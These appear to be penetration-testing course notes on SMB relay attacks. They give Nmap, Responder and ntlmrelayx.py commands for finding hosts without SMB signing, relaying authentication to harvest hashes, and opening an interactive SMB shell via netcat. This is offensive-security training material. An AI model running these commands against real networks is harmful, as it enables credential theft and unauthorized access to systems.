SMB Relay Attacks

What is SMB Relay

image

Source: TCM Security Academy

image

Source: TCM Security Academy

Discovering hosts

  • Possible with Nessus

  • With Nmap nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24 Example of what we get with this scan:

The domain controller has enable and required, we wont relay on this machine.

SMB Relay Attack

Attack 1st way

  • In responder config (Responder.conf) we put http and smb on off

  • Responder command responder -I eth0 -rdwv

  • Launch ntlmrelayx.py (our target ips are in targets.txt) ntlmrelayx.py -tf targets.txt -smb2support

  • We should get som hashes on our kali

Attack 2nd way

  • We launch Responder (with http and smb off), we launch ntlmrelayx.py just like befor but with -i to try to get an interactive shell. ntlmrelayx.py -tf targets.txt -smb2support -i

  • It should work and mention that we got a shell

  • We can netcat to get the shell: nc 127.0.0.1 11000

  • We have an smb shell:

Note: ntlmrelayx.py is really powerfull and has many commands, we could even launch other shells.

SMB Relay attack Defenses

image

Source: TCM Security Academy

Last updated